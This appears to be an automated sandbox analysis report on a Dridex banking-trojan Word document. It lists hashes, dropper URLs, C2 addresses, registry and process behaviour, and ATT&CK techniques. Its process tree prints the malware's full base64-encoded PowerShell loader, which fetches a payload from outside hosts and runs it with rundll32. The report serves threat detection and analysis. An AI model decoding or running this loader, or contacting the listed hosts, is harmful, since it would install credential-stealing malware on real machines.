dridex | 93a47f8cffdd7f69d020813a390ffcf3bf850a5e53d398feba160f8efd2b5c43

General

Target
Report-30673485738.doc
Size 97KB
Sample200930-t53166jdza
SHA256 93a47f8cffdd7f69d020813a390ffcf3bf850a5e53d398feba160f8efd2b5c43
MD5 f39b9d872d9c988b01ab7ec0c91f17f9
SHA1 5884db4a94c4fb6e81481435566b25191ab578c1
SHA512 aad5ae5ff9c7659fd473077e69c335c454ee22f1347e08a4ca8408f9b2fc4664a785501d13da085c76323c934a02d41c8af9ec621be33337fec1da5e16134c97
MD5 SHA1 SHA512

Score

10^/10

dridex 10555 botnet discovery evasion loader trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://bestastrologeraacharyji.com/qaojss.zip
exe.dropper
https://thegreenlady.org/cifvmc5.rar
exe.dropper
https://virendraitibagari.com/kk9r9fc.pdf
exe.dropper
https://voobzfreight.co.za/u7khwemk9.rar

Extracted

Family

dridex

Botnet

10555

C2

146.164.126.197:443
69.16.193.166:9443
193.90.12.122:3098
157.245.103.132:14043

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3356	3960	POwersheLL.exe	73

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

resource	yara_rule
behavioral2/memory/2088-16-0x0000000072FD0000-0x000000007300A000-memory.dmp	dridex_ldr

Dridex Loader 'dmod' strings 1 IoCs

Detects 'dmod' strings in Dridex loader.

botnet loader

resource	yara_rule
behavioral2/memory/2088-16-0x0000000072FD0000-0x000000007300A000-memory.dmp	dridex_ldr_dmod

Blocklisted process makes network request 3 IoCs

flow	pid	Process
21	3356	POwersheLL.exe
30	2088	rundll32.exe
31	2088	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
2088	rundll32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
580	WINWORD.EXE
580	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3356	POwersheLL.exe
3356	POwersheLL.exe
3356	POwersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3356	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3356 wrote to memory of 1284	3356	POwersheLL.exe	81
PID 3356 wrote to memory of 1284	3356	POwersheLL.exe	81
PID 1284 wrote to memory of 2088	1284	rundll32.exe	82
PID 1284 wrote to memory of 2088	1284	rundll32.exe	82
PID 1284 wrote to memory of 2088	1284	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Report-30673485738.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:580

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABFADQAYgBuAG8ANABpAD0AKAAnAEEAJwArACgAJwBzACcAKwAnAGgAXwB5ADIAbgAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAcgBwAHIATwBmAEkAbABlAFwAdABmAFYAcwAyADYAQgBcAEEAVwA0ADgAOQBwAGUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAFUAYABSAGkAVABZAFAAcgBPAHQATwBgAEMAYABvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAxADIAJwArACcALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAxACcAKQArACcAMQAnACsAKAAnACwAIAB0AGwAJwArACcAcwAnACkAKQA7ACQAWAB1AGQANQBqADUAagAgAD0AIAAoACcAUgAnACsAKAAnAGsAJwArACcAZgBiAG8AJwApACsAKAAnAG8AJwArACcAMgA3AGMAJwApACkAOwAkAE8AcgB1AGkAegByAHAAPQAoACcAUgAnACsAKAAnAHEANAAnACsAJwA3ACcAKQArACgAJwBsADAAJwArACcAOAAnACkAKQA7ACQAVABlAG8AdgBjAG4AZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBCACcAKwAoACcAeAB5ACcAKwAnAFQAZgAnACkAKwAoACcAdgBzADIANgBiAEIAeAAnACsAJwB5ACcAKQArACgAJwBBAHcAJwArACcANAA4ADkAJwApACsAJwBwAGUAJwArACgAJwBCAHgAJwArACcAeQAnACkAKQAuACIAUgBlAHAATABhAGAAYwBlACIAKAAoACcAQgB4ACcAKwAnAHkAJwApACwAWwBTAHQAUgBpAG4AZwBdAFsAQwBoAGEAUgBdADkAMgApACkAKwAkAFgAdQBkADUAagA1AGoAKwAoACgAJwAuACcAKwAnAGQAbAAnACkAKwAnAGwAJwApADsAJABNAGoAeQBiAHgAawBqAD0AKAAnAEcAJwArACcAeABqACcAKwAoACcAZAB1ACcAKwAnADMAYgAnACkAKQA7ACQAWQBjAGwANABzADMAbgA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAFQALgB3AGUAYgBDAEwASQBFAG4AVAA7ACQARABmAGUAZAB1ADIAdgA9ACgAJwBoACcAKwAnAHQAdAAnACsAKAAnAHAAJwArACcAcwA6AC8ALwAnACsAJwBiAGUAcwAnACkAKwAoACcAdAAnACsAJwBhAHMAdAByAG8AbAAnACsAJwBvAGcAZQByAGEAJwApACsAKAAnAGEAJwArACcAYwBoACcAKQArACgAJwBhAHIAJwArACcAeQAnACkAKwAoACcAagBpAC4AYwBvAG0ALwAnACsAJwBxAGEAJwArACcAbwBqAHMAcwAuAHoAJwArACcAaQBwACcAKwAnACoAaAB0AHQAcABzACcAKQArACgAJwA6ACcAKwAnAC8ALwB0AGgAJwApACsAJwBlAGcAJwArACgAJwByAGUAZQAnACsAJwBuAGwAJwApACsAKAAnAGEAZAAnACsAJwB5ACcAKQArACgAJwAuACcAKwAnAG8AcgAnACkAKwAoACcAZwAnACsAJwAvACcAKwAnAGMAaQBmAHYAbQBjADUALgAnACsAJwByAGEAcgAnACkAKwAnACoAJwArACgAJwBoAHQAJwArACcAdABwAHMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAHYAaQByACcAKwAnAGUAbgAnACsAJwBkAHIAYQBpACcAKQArACcAdABpACcAKwAnAGIAYQAnACsAKAAnAGcAYQAnACsAJwByAGkALgAnACsAJwBjAG8AbQAvAGsAawAnACkAKwAoACcAOQByACcAKwAnADkAZgBjAC4AcABkACcAKQArACgAJwBmACoAJwArACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwAnACsAJwB2AG8AbwBiAHoAZgAnACsAJwByACcAKwAnAGUAJwApACsAJwBpACcAKwAnAGcAJwArACcAaAB0ACcAKwAnAC4AJwArACgAJwBjAG8AJwArACcALgAnACkAKwAnAHoAYQAnACsAKAAnAC8AdQA3AGsAaAAnACsAJwB3AGUAJwArACcAbQBrACcAKwAnADkAJwApACsAKAAnAC4AcgAnACsAJwBhACcAKQArACcAcgAnACkALgAiAFMAcABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASABrAGoAMwBpADQANAA9ACgAKAAnAE8AdABkACcAKwAnADgAJwApACsAJwBnADQAJwArACcAMAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABVADgAXwA4AGgAXwA3ACAAaQBuACAAJABEAGYAZQBkAHUAMgB2ACkAewB0AHIAeQB7ACQAWQBjAGwANABzADMAbgAuACIARABvAGAAVwBgAE4ATABPAGEAYABkAGYASQBsAGUAIgAoACQAVQA4AF8AOABoAF8ANwAsACAAJABUAGUAbwB2AGMAbgBlACkAOwAkAEQAdwA4AHMAaQBhAHIAPQAoACgAJwBGACcAKwAnADEAXwAnACkAKwAnAGIAaAAnACsAJwBtAHUAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFQAZQBvAHYAYwBuAGUAKQAuACIATABgAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADMANwA2ADIANQApACAAewAuACgAJwByAHUAbgBkAGwAbAAzADIAJwArACcALgAnACsAJwBlAHgAJwArACcAZQAnACkAIAAkAFQAZQBvAHYAYwBuAGUALAAwADsAJABQAHYAYgAxAGYAdgB5AD0AKAAoACcAWAByACcAKwAnAGQAJwApACsAJwBnAG0AJwArACcAeQBxACcAKQA7AGIAcgBlAGEAawA7ACQAQwAwADAANgB1ADAAawA9ACgAKAAnAFoAdQAnACsAJwBzACcAKQArACgAJwA1ADIAdAAnACsAJwBpACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAHQAdgBpADkAcgBfAD0AKAAoACcARwBiACcAKwAnAGwAdQAnACsAJwBuAGQAJwApACsAJwA4ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Windows\system32\rundll32.exe
  "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tfvs26b\Aw489pe\Rkfboo27c.dll,0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tfvs26b\Aw489pe\Rkfboo27c.dll,0
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Checks whether UAC is enabled
    PID:2088

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/580-7-0x000001C124572000-0x000001C124593000-memory.dmp

Download

memory/580-0-0x00007FFE41510000-0x00007FFE41BD6000-memory.dmp

Download

memory/580-8-0x000001C124572000-0x000001C124593000-memory.dmp

Download

memory/580-6-0x000001C124572000-0x000001C124593000-memory.dmp

Download

memory/580-5-0x000001C12C141000-0x000001C12C16E000-memory.dmp

Download

memory/2088-16-0x0000000072FD0000-0x000000007300A000-memory.dmp

Download

memory/3356-9-0x00007FFE34E00000-0x00007FFE357EC000-memory.dmp

Download

memory/3356-10-0x000001EA6D0C0000-0x000001EA6D0C1000-memory.dmp

Download

memory/3356-11-0x000001EA6D3E0000-0x000001EA6D3E1000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads